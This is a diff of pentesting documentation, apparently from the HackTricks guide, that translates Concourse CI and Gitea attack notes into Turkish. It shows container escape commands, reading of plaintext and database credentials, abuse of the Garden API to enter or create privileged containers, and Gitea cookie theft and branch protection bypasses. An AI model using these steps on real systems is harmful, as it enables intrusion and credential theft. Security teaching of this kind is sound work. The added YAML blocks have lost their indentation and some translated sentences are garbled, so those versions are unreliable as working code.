@@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
-
> [!WARNING]
-> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
+> Fark etmiş olabileceğiniz gibi, bu sadece bir [**normal release_agent kaçışı**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) ve sadece noddaki cmd'nin yolunu değiştirmektedir.
-#### Escaping to the node from a Worker container
-
-A regular release_agent escape with a minor modification is enough for this:
+#### Bir Worker konteynerinden node'a kaçış
+Bu durum için küçük bir değişiklikle normal bir release_agent kaçışı yeterlidir:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
+#### Web konteynerinden node'a kaçış
-#### Escaping to the node from the Web container
-
-Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
-
-However, it stores **local credentials in clear text**:
+Web konteynerinde bazı savunmalar devre dışı bırakılmış olsa bile, **yaygın ayrıcalıklı bir konteyner olarak çalışmıyor** (örneğin, **mount** yapamazsınız ve **yetkiler** çok **sınırlıdır**, bu nedenle konteynerden kaçmanın kolay yolları işe yaramaz).
+Ancak, **yerel kimlik bilgilerini düz metin olarak** saklar:
```bash
cat /concourse-auth/local-users
test:test
@@ -319,11 +304,9 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
+Bu kimlik bilgilerini **web sunucusuna giriş yapmak** ve **yetkili bir konteyner oluşturup düğümden kaçmak** için kullanabilirsiniz.
-You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
-
-In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
-
+Ortamda ayrıca concourse'un kullandığı **postgresql** örneğine erişim bilgilerini (adres, **kullanıcı adı**, **şifre** ve veritabanı gibi diğer bilgiler) bulabilirsiniz:
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -344,39 +327,35 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
-
-#### Abusing Garden Service - Not a real Attack
+#### Garden Servisini Kötüye Kullanma - Gerçek Bir Saldırı Değil
> [!WARNING]
-> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
+> Bu, hizmet hakkında bazı ilginç notlardır, ancak yalnızca localhost'ta dinlediği için, bu notlar daha önce sömürdüğümüz herhangi bir etkiyi sunmayacaktır.
-By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
+Varsayılan olarak, her concourse işçisi 7777 numaralı portta bir [**Garden**](https://github.com/cloudfoundry/garden) hizmeti çalıştıracaktır. Bu hizmet, işçiye **ne yapması gerektiğini** belirtmek için Web yöneticisi tarafından kullanılır (görüntüyü indirmek ve her görevi çalıştırmak). Bu, bir saldırgan için oldukça iyi görünüyor, ancak bazı güzel korumalar var:
-- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
-- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
-
-Concourse workers run with high container privileges:
+- Sadece **yerel olarak** (127..0.0.1) **açık** ve bence işçi, özel SSH hizmeti ile Web'e kimlik doğruladığında, web sunucusunun her işçi içindeki her Garden hizmeti ile **konuşabilmesi için** bir tünel oluşturuluyor.
+- Web sunucusu, **çalışan konteynerleri her birkaç saniyede bir izliyor** ve **beklenmeyen** konteynerler **siliniyor**. Bu nedenle, **özel bir konteyner çalıştırmak** istiyorsanız, web sunucusu ile garden hizmeti arasındaki **iletişimi** **değiştirmeniz** gerekiyor.
+Concourse işçileri yüksek konteyner ayrıcalıklarıyla çalışır:
```
Container Runtime: docker
Has Namespaces:
- pid: true
- user: false
+pid: true
+user: false
AppArmor Profile: kernel
Capabilities:
- BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
+BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
-
-However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
+Ancak, **mounting** tekniği gibi /dev cihazını veya release_agent **çalışmaz** (çünkü düğümün dosya sistemi ile gerçek cihaz erişilebilir değil, sadece sanal bir tane var). Düğümün süreçlerine erişemiyoruz, bu nedenle çekirdek istismarları olmadan düğümden kaçmak karmaşık hale geliyor.
> [!NOTE]
-> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
+> Önceki bölümde ayrıcalıklı bir konteynerden nasıl kaçılacağını gördük, bu nedenle **current** **worker** tarafından oluşturulan bir **privileged container** içinde **komutlar** **çalıştırabiliyorsak**, **düğüme kaçabiliriz**.
-Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
-
-**Getting inside a running privileged container**
+Concourse ile oynarken, bir şey çalıştırmak için yeni bir konteyner oluşturulduğunda, konteyner süreçlerinin işçi konteynerinden erişilebilir olduğunu fark ettim, bu nedenle bir konteynerin içinde yeni bir konteyner oluşturması gibi.
+**Çalışan bir ayrıcalıklı konteynere girmek**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
- --header='Content-Type:application/json' \
- 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
+**Yeni bir ayrıcalıklı konteyner oluşturma**
-**Creating a new privileged container**
-
-You can very easily create a new container (just run a random UID) and execute something on it:
-
+Yeni bir konteyner oluşturmak çok kolaydır (rastgele bir UID çalıştırın) ve üzerinde bir şey çalıştırabilirsiniz:
```bash
curl -X POST http://127.0.0.1:7777/containers \
- -H 'Content-Type: application/json' \
- -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
+-H 'Content-Type: application/json' \
+-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
- --header='Content-Type:application/json' \
- 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
-
-However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
-
+Ancak, web sunucusu her birkaç saniyede bir çalışan konteynerleri kontrol ediyor ve eğer beklenmedik bir tane keşfedilirse, silinecektir. İletişim HTTP üzerinden gerçekleştiği için, beklenmedik konteynerlerin silinmesini önlemek için iletişimi değiştirebilirsiniz:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
@@ -434,13 +409,8 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
-
-## References
+## Referanslar
- https://concourse-ci.org/vars.html
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 0cc6363a7..b4e188d10 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -1,26 +1,23 @@
-# Concourse Lab Creation
+# Concourse Laboratuvarı Oluşturma
{{#include ../../banners/hacktricks-training.md}}
-## Testing Environment
+## Test Ortamı
-### Running Concourse
+### Concourse'u Çalıştırma
-#### With Docker-Compose
-
-This docker-compose file simplifies the installation to do some tests with concourse:
+#### Docker-Compose ile
+Bu docker-compose dosyası, concourse ile bazı testler yapmak için kurulumu basitleştirir:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
+`fly` komut satırını işletim sisteminiz için `127.0.0.1:8080` adresinden indirebilirsiniz.
-You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
-
-#### With Kubernetes (Recommended)
-
-You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
+#### Kubernetes ile (Tavsiye Edilir)
+**Kubernetes** (örneğin **minikube** içinde) kullanarak concourse'u kolayca dağıtabilirsiniz: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
-
-After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
-
+Concourse ortamını oluşturduktan sonra, bir gizli anahtar oluşturabilir ve concourse web'de çalışan SA'ya K8s gizli anahtarlarına erişim verebilirsiniz:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
- name: read-secrets
+name: read-secrets
rules:
- apiGroups: [""]
- resources: ["secrets"]
- verbs: ["get"]
+resources: ["secrets"]
+verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
- name: read-secrets-concourse
+name: read-secrets-concourse
roleRef:
- apiGroup: rbac.authorization.k8s.io
- kind: ClusterRole
- name: read-secrets
+apiGroup: rbac.authorization.k8s.io
+kind: ClusterRole
+name: read-secrets
subjects:
- kind: ServiceAccount
- name: concourse-release-web
- namespace: default
+name: concourse-release-web
+namespace: default
---
apiVersion: v1
kind: Secret
metadata:
- name: super
- namespace: concourse-release-main
+name: super
+namespace: concourse-release-main
type: Opaque
data:
- secret: MWYyZDFlMmU2N2Rm
+secret: MWYyZDFlMmU2N2Rm
' | kubectl apply -f -
```
+### Pipeline Oluştur
-### Create Pipeline
+Bir pipeline, sıralı bir [Jobs](https://concourse-ci.org/jobs.html) listesi ile yapılır ve bu liste bir [Steps](https://concourse-ci.org/steps.html) listesi içerir.
-A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
+### Adımlar
-### Steps
+Birçok farklı türde adım kullanılabilir:
-Several different type of steps can be used:
+- **the** [**`task` adımı**](https://concourse-ci.org/task-step.html) **bir** [**görev**](https://concourse-ci.org/tasks.html) **çalıştırır**
+- [`get` adımı](https://concourse-ci.org/get-step.html) bir [kaynağı](https://concourse-ci.org/resources.html) alır
+- [`put` adımı](https://concourse-ci.org/put-step.html) bir [kaynağı](https://concourse-ci.org/resources.html) günceller
+- [`set_pipeline` adımı](https://concourse-ci.org/set-pipeline-step.html) bir [pipeline'ı](https://concourse-ci.org/pipelines.html) yapılandırır
+- [`load_var` adımı](https://concourse-ci.org/load-var-step.html) bir değeri [yerel bir değişkene](https://concourse-ci.org/vars.html#local-vars) yükler
+- [`in_parallel` adımı](https://concourse-ci.org/in-parallel-step.html) adımları paralel olarak çalıştırır
+- [`do` adımı](https://concourse-ci.org/do-step.html) adımları sırayla çalıştırır
+- [`across` adım modifikasyonu](https://concourse-ci.org/across-step.html#schema.across) bir adımı birden fazla kez çalıştırır; her bir değişken değeri kombinasyonu için bir kez
+- [`try` adımı](https://concourse-ci.org/try-step.html) bir adımı çalıştırmayı dener ve adım başarısız olsa bile başarılı olur
-- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
-- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
-- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
-- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
-- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
-- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
-- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
-- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
-- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
+Her [adım](https://concourse-ci.org/steps.html) bir [iş planında](https://concourse-ci.org/jobs.html#schema.job.plan) **kendi konteynerinde** çalışır. Konteynerin içinde istediğiniz her şeyi çalıştırabilirsiniz _(yani testlerimi çalıştır, bu bash betiğini çalıştır, bu görüntüyü oluştur, vb.)_. Dolayısıyla, beş adımı olan bir işiniz varsa, Concourse her adım için bir tane olmak üzere beş konteyner oluşturacaktır.
-Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
-
-Therefore, it's possible to indicate the type of container each step needs to be run in.
-
-### Simple Pipeline Example
+Bu nedenle, her adımın çalıştırılması gereken konteyner türünü belirtmek mümkündür.
+### Basit Pipeline Örneği
```yaml
jobs:
- - name: simple
- plan:
- - task: simple-task
- privileged: true
- config:
- # Tells Concourse which type of worker this task should run on
- platform: linux
- image_resource:
- type: registry-image
- source:
- repository: busybox # images are pulled from docker hub by default
- run:
- path: sh
- args:
- - -cx
- - |
- sleep 1000
- echo "$SUPER_SECRET"
- params:
- SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+sleep 1000
+echo "$SUPER_SECRET"
+params:
+SUPER_SECRET: ((super.secret))
```
```bash
@@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
-
Check **127.0.0.1:8080** to see the pipeline flow.
### Bash script with output/input pipeline
-It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
+Bir görevin **sonuçlarını bir dosyada kaydetmek** ve bunun bir çıktı olduğunu belirtmek mümkündür, ardından bir sonraki görevin girişi olarak önceki görevin çıktısını belirtmek mümkündür. Concourse'un yaptığı şey, **önceki görevin dizinini yeni görevde monte etmek ve önceki görev tarafından oluşturulan dosyalara erişmektir**.
### Triggers
-You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
+Görevleri her seferinde manuel olarak tetiklemek zorunda değilsiniz, her seferinde çalışacak şekilde programlayabilirsiniz:
-- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
-- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
-- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
-- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
+- Bir süre geçtikten sonra: [Time resource](https://github.com/concourse/time-resource/)
+- Ana dalda yeni commitler olduğunda: [Git resource](https://github.com/concourse/git-resource)
+- Yeni PR'ler: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
+- Uygulamanızın en son görüntüsünü almak veya göndermek: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
+Ana dalda yeni commitler tetikleyen bir YAML pipeline örneğini [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) adresinde kontrol edin.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index bf4f6485a..aa163bb26 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -1,142 +1,130 @@
-# Gitea Security
+# Gitea Güvenliği
{{#include ../../banners/hacktricks-training.md}}
-## What is Gitea
+## Gitea Nedir
-**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
+**Gitea**, Go dilinde yazılmış **kendinize ait, topluluk tarafından yönetilen hafif bir kod barındırma** çözümüdür.
.png>)
-### Basic Information
+### Temel Bilgiler
{{#ref}}
basic-gitea-information.md
{{#endref}}
-## Lab
-
-To run a Gitea instance locally you can just run a docker container:
+## Laboratuvar
+Yerel olarak bir Gitea örneği çalıştırmak için sadece bir docker konteyneri çalıştırabilirsiniz:
```bash
docker run -p 3000:3000 gitea/gitea
```
+Port 3000'e bağlanarak web sayfasına erişebilirsiniz.
-Connect to port 3000 to access the web page.
-
-You could also run it with kubernetes:
-
+Ayrıca bunu kubernetes ile çalıştırabilirsiniz:
```
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
+## Kimlik Doğrulaması Olmadan Sıralama
-## Unauthenticated Enumeration
+- Kamu reposu: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
+- Kayıtlı kullanıcılar: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
+- Kayıtlı Organizasyonlar: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
-- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
-- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
-- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
+**Varsayılan olarak Gitea yeni kullanıcıların kayıt olmasına izin verir.** Bu, yeni kullanıcılara diğer organizasyonlar/kullanıcılar reposu üzerinde özel bir erişim sağlamaz, ancak **giriş yapmış bir kullanıcı** daha fazla **repo veya organizasyonu görüntüleyebilir.**
-Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
+## Dahili Sömürü
-## Internal Exploitation
+Bu senaryo için bir github hesabına erişim sağladığınızı varsayacağız.
-For this scenario we are going to suppose that you have obtained some access to a github account.
+### Kullanıcı Kimlik Bilgileri/Web Çerezi ile
-### With User Credentials/Web Cookie
+Eğer bir şekilde bir organizasyondaki bir kullanıcı için kimlik bilgilerine sahipseniz (veya bir oturum çerezini çaldıysanız) **sadece giriş yapabilir** ve hangi **izinlere sahip olduğunuzu**, hangi **repo'larda** bulunduğunuzu, **diğer kullanıcıları listeleyebilir** ve **repo'ların nasıl korunduğunu** kontrol edebilirsiniz.
-If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
-
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+**2FA kullanılabileceğini** unutmayın, bu nedenle bu bilgilere yalnızca **o kontrolü geçebiliyorsanız** erişebilirsiniz.
> [!NOTE]
-> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> Eğer **`i_like_gitea` çerezini çalmayı başarırsanız** (şu anda SameSite: Lax ile yapılandırılmıştır) kimlik bilgilerine veya 2FA'ya ihtiyaç duymadan **kullanıcıyı tamamen taklit edebilirsiniz.**
-### With User SSH Key
+### Kullanıcı SSH Anahtarı ile
-Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
+Gitea, **kullanıcıların** kendi adlarına kod dağıtmak için **kimlik doğrulama yöntemi olarak kullanılacak SSH anahtarları** ayarlamalarına izin verir (2FA uygulanmaz).
+Bu anahtar ile kullanıcının bazı ayrıcalıklara sahip olduğu **repo'larda değişiklikler yapabilirsiniz**, ancak gitea api'sine erişmek için kullanamazsınız. Ancak, erişiminiz olan repo ve kullanıcı hakkında bilgi almak için **yerel ayarları sıralayabilirsiniz:**
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
+Eğer kullanıcı adını gitea kullanıcı adı olarak yapılandırmışsa, hesabında ayarladığı **açık anahtarları** _https://github.com/\.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz.
-If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used.
+**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilecektir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğu hakkında bilgi verecektir.
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### GPG Anahtarları
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+Açıklandığı gibi [**burada**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) bazen taahhütleri imzalamak gerekebilir yoksa keşfedilebilirsiniz.
+Mevcut kullanıcının herhangi bir anahtara sahip olup olmadığını yerel olarak kontrol edin:
```shell
gpg --list-secret-keys --keyid-format=long
```
+### Kullanıcı Tokeni ile
-### With User Token
+[**Kullanıcı Tokenleri hakkında temel bilgileri kontrol edin**](basic-gitea-information.md#personal-access-tokens) için bir giriş.
-For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
+Bir kullanıcı tokeni, Gitea sunucusuna **şifre yerine** **kimlik doğrulamak** için kullanılabilir [**API aracılığıyla**](https://try.gitea.io/api/swagger#/). Kullanıcının üzerinde **tam erişim** olacaktır.
-A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
+### Oauth Uygulaması ile
-### With Oauth Application
+[**Gitea Oauth Uygulamaları hakkında temel bilgileri kontrol edin**](./#with-oauth-application) için bir giriş.
-For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application).
+Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/işlemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir.
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+Temel bilgilerde açıklandığı gibi, uygulama **kullanıcı hesabı üzerinde tam erişime** sahip olacaktır.
-As explained in the basic information, the application will have **full access over the user account**.
+### Dal Koruma Atlatma
-### Branch Protection Bypass
+Github'da, varsayılan olarak repo üzerinde **yazma erişimi olan bir token** alan **github actions** bulunmaktadır; bu, **dal korumalarını atlatmak** için kullanılabilir. Bu durumda **mevcut değildir**, bu nedenle atlatmalar daha sınırlıdır. Ancak neler yapılabileceğine bir göz atalım:
-In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
+- **Push'u Etkinleştir**: Yazma erişimi olan herhangi biri dalına push yapabiliyorsa, sadece push yapın.
+- **Kısıtlı Push'u Beyaz Listeye Al**: Aynı şekilde, bu listenin bir parçasıysanız dalına push yapın.
+- **Birleştirme Beyaz Listesini Etkinleştir**: Eğer birleştirme beyaz listesi varsa, içinde olmanız gerekir.
+- **Onay gereksinimi 0'dan büyük**: O zaman... başka bir kullanıcıyı tehlikeye atmanız gerekir.
+- **Onayları beyaz listeye kısıtla**: Eğer yalnızca beyaz listedeki kullanıcılar onaylayabiliyorsa... o liste içinde olan başka bir kullanıcıyı tehlikeye atmanız gerekir.
+- **Eski onayları geçersiz kıl**: Eğer onaylar yeni commitlerle kaldırılmıyorsa, onaylanmış bir PR'yi ele geçirip kodunuzu ekleyebilir ve PR'yi birleştirebilirsiniz.
-- **Enable Push**: If anyone with write access can push to the branch, just push to it.
-- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
-- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
-- **Require approvals is bigger than 0**: Then... you need to compromise another user
-- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
-- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
+**Eğer bir org/repo yöneticisiyseniz** korumaları atlatabileceğinizi unutmayın.
-Note that **if you are an org/repo admin** you can bypass the protections.
+### Webhook'ları Listele
-### Enumerate Webhooks
+**Webhook'lar**, **belirli gitea bilgilerini bazı yerlere gönderebilir**. Bu iletişimi **istismar etme** imkanınız olabilir.\
+Ancak genellikle, **webhook** içinde **geri alınamaz** bir **gizli anahtar** ayarlanır; bu, URL'sini bilen ancak gizli anahtarı bilmeyen dış kullanıcıların **o webhook'u istismar etmesini** **önler**.\
+Ancak bazı durumlarda, insanlar **gizli anahtarı** yerinde ayarlamak yerine, **URL'ye** bir parametre olarak ayarlar; bu nedenle **URL'leri kontrol etmek**, **gizli anahtarları bulmanıza** ve daha fazla istismar edebileceğiniz diğer yerleri keşfetmenize olanak tanıyabilir.
-**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
-However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
-But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
+Webhook'lar **repo ve org seviyesinde** ayarlanabilir.
-Webhooks can be set at **repo and at org level**.
+## İstismar Sonrası
-## Post Exploitation
+### Sunucu İçinde
-### Inside the server
+Eğer bir şekilde gitea'nın çalıştığı sunucuya girmeyi başardıysanız, gitea yapılandırma dosyasını aramalısınız. Varsayılan olarak `/data/gitea/conf/app.ini` konumundadır.
-If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
+Bu dosyada **anahtarlar** ve **şifreler** bulabilirsiniz.
-In this file you can find **keys** and **passwords**.
